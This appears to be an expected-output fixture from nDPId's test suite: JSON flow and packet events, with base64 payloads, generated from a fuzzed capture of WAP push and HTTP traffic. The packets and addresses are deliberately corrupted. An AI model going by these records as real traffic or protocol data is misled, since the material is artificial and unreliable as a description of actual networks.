+00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1031854489131,"flow_last_seen":0,"flow_tot_l4_data_len":447,"flow_min_l4_data_len":447,"flow_max_l4_data_len":447,"flow_avg_l4_data_len":447,"midstream":1,"l3_proto":"ip4","src_ip":"172.6.3.5","dst_ip":"172.20.3.13","src_port":80,"dst_port":53132,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00997{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":131959,"pkt_caplen":481,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":481,"pkt_l4_len":447,"pkt":"CAAgsl17AFCLk5N8CABFAAHT\/0pAAIAGm5+sBgMFrBQDDQBQz4zkTZr1ybTxE1AYHbTqTgAAPD94bWwgdmVyc2lvbj0iMS4wIj8+CjwhRE9DVFlQRSBwYXAgUFVCTElDICItLy9XQVBGT1JVTS8vRFREIFBBUCAxLjAvL0VOIgogICAgICAgICAgImh0dHA6Ly93d3cud2FwZm9ydW0ub3JnL0RURC9wYXBfMS4wLmR0ZCI+CjxwYXA+CiAgPHB1c2gtcmVzcG9uc2UgcnVzaC1pZD0iMTg5MzAxXzEwMzE4NTQ0ODg5OTdfMTAzOEBnZWNkczIubW9iaWxpdHlsYWIubmV0IiBzZW5kZXKtYWRkcmVzcz0iaHR0cDovL2xtY21vbGYud2FwbWF0aWMuZGUiIHNlbmRlcuRuYW1lPSJ3Z3A0IiByZXBseS2qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00429{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":137655,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoAEtAAIAGnEqsFAMFrBQDDQopAFDkS6qqqqqqqqqqqqqqqqqqqqqqqqqq"} +00421{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854489,"pkt_ts_usec":231461,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLY5N8CAAgsl17CABFAAAoxLJAAEAGF+OsFAMNrBQDBc+MAFDJtPET5E2coFAQgyzC2QAA"} +00422{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854494,"pkt_ts_usec":142464,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxLNAAEAGF+KsFAMNrBQDBc+MAFDJtPET5E2coFARgyzC2AAA"} +00430{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854494,"pkt_ts_usec":142754,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoAktAAIAGmkqsFAMFrBQDDQBQz4zkTZygybTxFFAQHbQoUQAA0Li6rVQI"} +00430{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854494,"pkt_ts_usec":142971,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoA0tAAIAGmUqsFAMFrBQDDQBQz4zkTZwiybTxFFARHbQoUAAA0Li6rVQI"} +00422{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854494,"pkt_ts_usec":143202,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxLRAAEAGF+GsFAMNrBQDBc+MAFDJtPEU5E2coVAQgyzC1wAA"} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1031854489007,"flow_last_seen":0,"flow_tot_l4_data_len":109,"flow_min_l4_data_len":109,"flow_max_l4_data_len":109,"flow_avg_l4_data_len":109,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.1","dst_ip":"172.20.3.13","src_port":80,"dst_port":53132,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00517{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1031854488668,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"0.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2601,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1031854488668,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"0.20.3.13","dst_ip":"172.20.3.5","src_port":80,"dst_port":2601,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00523{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1031854489131,"flow_last_seen":0,"flow_tot_l4_data_len":447,"flow_min_l4_data_len":447,"flow_max_l4_data_len":447,"flow_avg_l4_data_len":447,"midstream":1,"l3_proto":"ip4","src_ip":"172.6.3.5","dst_ip":"172.20.3.13","src_port":80,"dst_port":53132,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1031854489131,"flow_last_seen":0,"flow_tot_l4_data_len":447,"flow_min_l4_data_len":447,"flow_max_l4_data_len":447,"flow_avg_l4_data_len":447,"midstream":1,"l3_proto":"ip4","src_ip":"172.6.3.5","dst_ip":"172.20.3.13","src_port":80,"dst_port":53132,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00496{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1031854488668,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":81,"dst_port":2601,"l4_proto":"tcp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1031854488668,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.13","dst_ip":"172.20.3.5","src_port":81,"dst_port":2601,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1031854489031,"flow_last_seen":0,"flow_tot_l4_data_len":161,"flow_min_l4_data_len":161,"flow_max_l4_data_len":161,"flow_avg_l4_data_len":161,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.57.3.13","src_port":80,"dst_port":53132,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1031854495447,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.21.3.13","src_port":2602,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854495,"pkt_ts_usec":447092,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAgsl17AFCLk5N8CABFAAAsB0tAAIAGlUasFAMFrBUDDQoqAFDkZMdqAADsAGACIABjogAAAgQFtFQI"} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":34,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854495,"pkt_ts_usec":447119,"pkt_caplen":58,"pkt_type":2177,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":58,"pkt_l4_len":0,"pkt":"AFCLk5N8CAAgsl17CIFFAAAsxLVAAEAGF9ysFAMNTBQDBQBQCirJ0lLg5GTHa2ASgywbsgAAAgQFtA=="} +00171{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":34,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","type":2177} +00391{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854495,"pkt_ts_usec":447303,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"CAAgskZ7AFCLk5N8CABFAAAoCKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00186{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":35,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","l4_data_len":26} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":36,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1031854495447,"flow_last_seen":0,"flow_tot_l4_data_len":728,"flow_min_l4_data_len":728,"flow_max_l4_data_len":728,"flow_avg_l4_data_len":728,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2602,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01369{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":36,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854495,"pkt_ts_usec":447686,"pkt_caplen":762,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":762,"pkt_l4_len":728,"pkt":"CAAgsl17AFCLk5N8CABFAALsCUtAAIAGkIasFAMFrBQDDQoqAFDkZMdrbtIa4VAYIjhGCgAAUE9TVCAuc2VydmxldHMvbW1zIEhUVFAvMS4xDQpIb3N0OiAxNzIuMjAuMy4xMw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94bWwNCkNvbnRlbnQtTGVuZ3RoOiA2MDYNCg0KPD94bWwgdmVyc2lvbj0iMS4wIj8+CjwhRE9DVFlQRSBwYXAgUFVCTElDICItLy9XQb9GT1JVTS8vRFREIFBBUCAxLjAvL0VOIgogICAgICAgICAgImh0dHA6Ly93d3cud2FwZm9ydW0ub3JnL0RURC9yYXBfMS4wLmR0byI+CjxwYXA+CiAgPHJlc3VhdG5vdGlmaWNhdGlvbi1tZXNzYWdlIHB1c2gtaWQ9IjE4OTMwMV8xMDMxODU0NDg4OTk3XzEwMzhAZ2VjZHMyLm1vYmlsaXR5bGFiLm9ldCIgc2VuZGVyLWFkJHJlc3M9Imh0dHA6Ly9sbWNtb2xmLndhcG1hdGljLmRlIiBzZW5kZXItbmFtZT0id2dwNCIgcmVjZWl2ZWQtdGltZT0iMjAwMi0wOS0xMlQxNzo1ODo1NloiIGV2ZW50LXRpbWU9IjIwMDItMDktMTJUMTc6NTk6MDJaIiBtZaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00672{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":36,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1031854495447,"flow_last_seen":0,"flow_tot_l4_data_len":728,"flow_min_l4_data_len":728,"flow_max_l4_data_len":728,"flow_avg_l4_data_len":728,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2602,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"172.20.3.13","url":"172.20.3.13.servlets\/mms","code":0,"content_type":"","user_agent":""}} +00422{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854495,"pkt_ts_usec":448529,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxLZAAEAGF9+sFAMNrBQDBQBQCirJ0hrh5GTKL1AQgywwqwAA"} +01079{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854495,"pkt_ts_usec":554910,"pkt_caplen":541,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":541,"pkt_l4_len":507,"pkt":"AFCLk5N8CAAgsjZ7CABFAAIPxLdAAEAGU\/esFAMNrBQDBQBQCirJ0hrh5GTKL1AYgyw7RQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFJlc2luLzIuMC4xDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3htbA0KY29udGVudC1MZW5ndGg6IDM1OA0KRGF0ZTogVGh1LCAxMiBTZXAgMjAwMiAxODoxNDo1NSBHTVQNCg0KPD94bWzfdmVyc2lvbj0iMS4wIj8+DQo8IURPQ1RZUEUgcGFwIFBVQkxJQyAiLS8vV0FQRk\/+VU0vL0RURCBQQVAgMS4wLy9FTiIgImh0dHA6Ly93d3cud2FwZlVyd20ub3JnL0RURC9wYXBfMS4wL2R0ZCI+DVQ8cGFwPg0KPHJlc3VsdG5vdGlmaWNhdGlvbi1yZXNwb25zZSBwdXNoLWlkPSIxODkzMDFfMTAzMTg1NDQ4ODk5N18xMDM4QGdlY2RzMi5tb2JpbGl0eWxhYi5uZXQiIGNvZGU9IjEwMDAiIGRlc2M9Ik93Ij4NCjxhZ2RyZXPPIDNkZHJlc3MtdmFsdWU9IldBUFBVU0g9KzQ5MTcyNjEwMTAwNC9UWVBFclBMTU5AMTcyLjIwLjMuNSI+PC9hZGRyZXNzPg0KPC9yZXN1bHRub3RpZmljYXRpb24tcmVzcCVzAGU+DQo8L3BhcKqqqg=="} +00430{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854495,"pkt_ts_usec":700200,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoDEtAAIAGkEqsFAMFrBQDDQoqAFDkZMovydIcyFAQIFGRnwAAAABMjAAA"} +00429{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854499,"pkt_ts_usec":919167,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoDUtAAIAGj0qsFAMFrBQDDQopAFDkS8FNyacOElARIXuoUQAAAAAAjAAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1031854499919,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.88","dst_ip":"172.20.3.82","src_port":80,"dst_port":2601,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854499,"pkt_ts_usec":919193,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxLhAAEAGF92sFANYrBQDUgBQCinJpw4S5EvBTlAQgyxGoAAA"} +00422{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854499,"pkt_ts_usec":919530,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxLlAAEAGF9ysFAMNrBQDBQBQCinJpw4S5EvBTlARgyxGnwAA"} +00430{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854499,"pkt_ts_usec":919749,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoDmtAAIAGjkqsFAMFrBQDDQopAFDkS8FmyacOE1AQIXs1UAAAAAAAjAAA"} +00521{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":44,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1031854499919,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.88","dst_ip":"172.20.3.82","src_port":80,"dst_port":2601,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":44,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1031854499919,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.88","dst_ip":"172.20.3.82","src_port":80,"dst_port":2601,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":44,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1031854495447,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.21.3.13","src_port":2602,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":44,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1031854495447,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.21.3.13","src_port":2602,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854506,"pkt_ts_usec":544202,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoD0tAAIAGjUqsFAMFrBQDDQoqAFDkZMovydIcyFARIFFYngAAAAAAjAAA"} +00422{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854506,"pkt_ts_usec":544233,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxLpAAEAGF9usFAMNrBQDBQBQCirJ0hzI5GTKMFAQRSwuwwAA"} +00422{"flow_id":10,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854506,"pkt_ts_usec":544666,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AFCLk5N8CAAgsl17CABFAAAoxLtAAEAGF9qsFAMNrBQDBQBQCirJ0hzI5GTKMFARgywuwgAA"} +00430{"flow_id":10,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854506,"pkt_ts_usec":544883,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoEEtAAIAGjN6sFAMFrBQDDQoqAFDkZMowyWkcyVAQIFGRnwAAAAAAjAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":48,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1031854514843,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.13","src_port":2603,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854514,"pkt_ts_usec":843263,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"CAAgsl17AFCLk5N8CABFAAAsE0tAAIAGiUasFAMFrBQDDQorAFDkqWrQAAAAAGACIAC\/9gAAAgQFtGDD"} +00430{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854514,"pkt_ts_usec":843314,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AFCLk5N8CAAgsl17CABFAAAsxLxAAEAGF9WsFAMNrBQDBQBQCivKHToI5Klq0WASgyxYkwAAAgQFtA=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1031854514843,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"172.20.3.5","dst_ip":"172.20.3.77","src_port":2603,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"fuzz-2006-09-29-28586.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1031854514,"pkt_ts_usec":843505,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"CAAgsl17AFCLk5N8CABFAAAoFEtAAIAGiEqsFAMFrBQDTQorAFDkqWrRyh06CVAQIjjRRAAAAgQFtGDD"} 